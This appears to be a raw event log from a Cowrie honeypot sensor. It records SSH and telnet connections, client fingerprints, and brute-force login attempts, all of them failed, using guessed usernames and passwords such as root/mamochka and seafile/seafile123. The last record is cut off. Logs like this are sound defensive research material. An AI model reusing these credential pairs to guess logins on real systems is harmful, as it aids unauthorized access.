{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:46.404547Z","src_ip":"193.228.128.84","session":"4ca3c1db551a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mamochka","message":"login attempt [root/mamochka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:46.721315Z","src_ip":"193.228.128.84","session":"4ca3c1db551a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:47.830260Z","src_ip":"193.228.128.84","session":"4ca3c1db551a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.3.26","src_port":53422,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae8ef825175d","protocol":"ssh","message":"New connection: 163.7.3.26:53422 (10.17.0.5:22) [session: ae8ef825175d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:57.075884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:57.081110Z","src_ip":"163.7.3.26","session":"ae8ef825175d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:57.399435Z","src_ip":"163.7.3.26","session":"ae8ef825175d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"crystal","message":"login attempt [root/crystal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:58.439331Z","src_ip":"163.7.3.26","session":"ae8ef825175d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":64884,"dst_ip":"159.203.135.109","dst_port":22,"session":"52ead3bb0777","protocol":"ssh","message":"New connection: 158.178.141.16:64884 (159.203.135.109:22) [session: 52ead3bb0777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:59.334153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:59.339021Z","src_ip":"158.178.141.16","session":"52ead3bb0777","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:59.552256Z","src_ip":"158.178.141.16","session":"52ead3bb0777","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:59.695043Z","src_ip":"163.7.3.26","session":"ae8ef825175d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test#123","message":"login attempt [root/Test#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:00.421961Z","src_ip":"158.178.141.16","session":"52ead3bb0777","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:01.637059Z","src_ip":"158.178.141.16","session":"52ead3bb0777","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":37394,"dst_ip":"10.17.0.5","dst_port":22,"session":"89c925260e53","protocol":"ssh","message":"New connection: 200.175.61.207:37394 (10.17.0.5:22) [session: 89c925260e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:04.979497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:04.986954Z","src_ip":"200.175.61.207","session":"89c925260e53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:05.139046Z","src_ip":"200.175.61.207","session":"89c925260e53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vc","message":"login attempt [root/vc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:05.774101Z","src_ip":"200.175.61.207","session":"89c925260e53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:06.930599Z","src_ip":"200.175.61.207","session":"89c925260e53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":60332,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff8ae4937a61","protocol":"ssh","message":"New connection: 49.51.202.114:60332 (159.203.135.109:22) [session: ff8ae4937a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:19.956370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:19.966259Z","src_ip":"49.51.202.114","session":"ff8ae4937a61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:20.034959Z","src_ip":"49.51.202.114","session":"ff8ae4937a61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lx123456@","message":"login attempt [root/Lx123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:20.366367Z","src_ip":"49.51.202.114","session":"ff8ae4937a61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:21.441093Z","src_ip":"49.51.202.114","session":"ff8ae4937a61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":50858,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e1b524ee91e","protocol":"ssh","message":"New connection: 80.66.85.226:50858 (159.203.135.109:22) [session: 2e1b524ee91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:28.683569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:28.689020Z","src_ip":"80.66.85.226","session":"2e1b524ee91e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:28.799657Z","src_ip":"80.66.85.226","session":"2e1b524ee91e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gbyudby","message":"login attempt [root/gbyudby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:29.084687Z","src_ip":"80.66.85.226","session":"2e1b524ee91e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:30.182075Z","src_ip":"80.66.85.226","session":"2e1b524ee91e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":16796,"dst_ip":"159.203.135.109","dst_port":22,"session":"95460c7ff82c","protocol":"ssh","message":"New connection: 158.178.141.16:16796 (159.203.135.109:22) [session: 95460c7ff82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:41.989373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:41.998814Z","src_ip":"158.178.141.16","session":"95460c7ff82c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:42.216105Z","src_ip":"158.178.141.16","session":"95460c7ff82c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"seafile","password":"seafile123","message":"login attempt [seafile/seafile123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:43.080324Z","src_ip":"158.178.141.16","session":"95460c7ff82c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":51402,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea79747a002f","protocol":"ssh","message":"New connection: 185.92.182.129:51402 (10.17.0.5:22) [session: ea79747a002f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:43.502594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:43.536350Z","src_ip":"185.92.182.129","session":"ea79747a002f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:43.569326Z","src_ip":"185.92.182.129","session":"ea79747a002f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:43.771476Z","src_ip":"185.92.182.129","session":"ea79747a002f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:44.293892Z","src_ip":"158.178.141.16","session":"95460c7ff82c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:44.807156Z","src_ip":"185.92.182.129","session":"ea79747a002f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39528,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d9e5fe31598","protocol":"telnet","message":"New connection: 192.119.13.58:39528 (10.17.0.5:23) [session: 8d9e5fe31598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:50.856790Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":36614,"dst_ip":"159.203.135.109","dst_port":22,"session":"2946cc523a08","protocol":"ssh","message":"New connection: 102.223.92.101:36614 (159.203.135.109:22) [session: 2946cc523a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:54.625983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:54.689235Z","src_ip":"102.223.92.101","session":"2946cc523a08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"m